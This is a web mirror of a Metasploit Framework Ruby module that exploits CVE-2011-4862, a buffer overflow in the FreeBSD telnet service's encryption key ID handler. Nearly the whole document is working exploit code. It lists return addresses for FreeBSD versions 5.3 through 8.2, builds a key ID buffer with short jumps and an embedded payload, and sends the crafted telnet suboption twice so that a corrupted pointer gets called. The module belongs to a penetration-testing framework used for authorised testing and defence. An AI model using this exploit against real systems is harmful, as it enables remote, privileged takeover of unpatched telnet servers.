CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb
Views: 11783
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GreatRanking
10
11
include Msf::Exploit::Remote::Telnet
12
include Msf::Exploit::BruteTargets
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in the encryption option handler of the
19
FreeBSD telnet service.
20
},
21
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
['CVE', '2011-4862'],
26
['OSVDB', '78020'],
27
['BID', '51182'],
28
['EDB', '18280']
29
],
30
'Privileged' => true,
31
'Platform' => 'bsd',
32
'Payload' =>
33
{
34
'Space' => 128,
35
'BadChars' => "\x00",
36
},
37
38
'Targets' =>
39
[
40
[ 'Automatic', { } ],
41
[ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
42
[ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
43
[ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
44
[ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
45
[ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
46
[ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
47
[ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
48
[ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
49
# [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
50
[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
51
# Versions 5.2 and below do not support encyption
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2011-12-23'))
55
end
56
57
def exploit_target(t)
58
59
connect
60
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
61
vprint_status(banner_sanitized)
62
63
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
64
enc_keyid = "\xff\xfa\x26\x07"
65
end_suboption = "\xff\xf0"
66
67
# Telnet protocol requires 0xff to be escaped with another
68
penc = payload.encoded.gsub("\xff", "\xff\xff")
69
70
key_id = Rex::Text.rand_text_alphanumeric(400)
71
key_id[ 0, 2] = "\xeb\x76"
72
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
73
key_id[76, 4] = [ t['Ret'] ].pack("V")
74
75
# Some of these bytes can get mangled, jump over them
76
key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)
77
78
# Bounce to the real payload (avoid corruption)
79
key_id[120, 2] = "\xeb\x46"
80
81
# The actual payload
82
key_id[192, penc.length] = penc
83
84
# Create the Key ID command
85
sploit = enc_keyid + key_id + end_suboption
86
87
# Initiate encryption
88
sock.put(enc_init)
89
90
# Wait for a successful response
91
loop do
92
data = sock.get_once(-1, 5) rescue nil
93
if not data
94
fail_with(Failure::Unknown, "This system does not support encryption")
95
end
96
break if data.index("\xff\xfa\x26\x02\x01")
97
end
98
99
# The first request smashes the pointer
100
print_status("Sending first payload")
101
sock.put(sploit)
102
103
# Make sure the server replied to the first request
104
data = sock.get_once(-1, 5)
105
unless data
106
print_status("Server did not respond to first payload")
107
return
108
end
109
110
# Some delay between each request seems necessary in some cases
111
::IO.select(nil, nil, nil, 0.5)
112
113
# The second request results in the pointer being called
114
print_status("Sending second payload...")
115
sock.put(sploit)
116
117
handler
118
119
::IO.select(nil, nil, nil, 0.5)
120
disconnect
121
end
122
end
123
124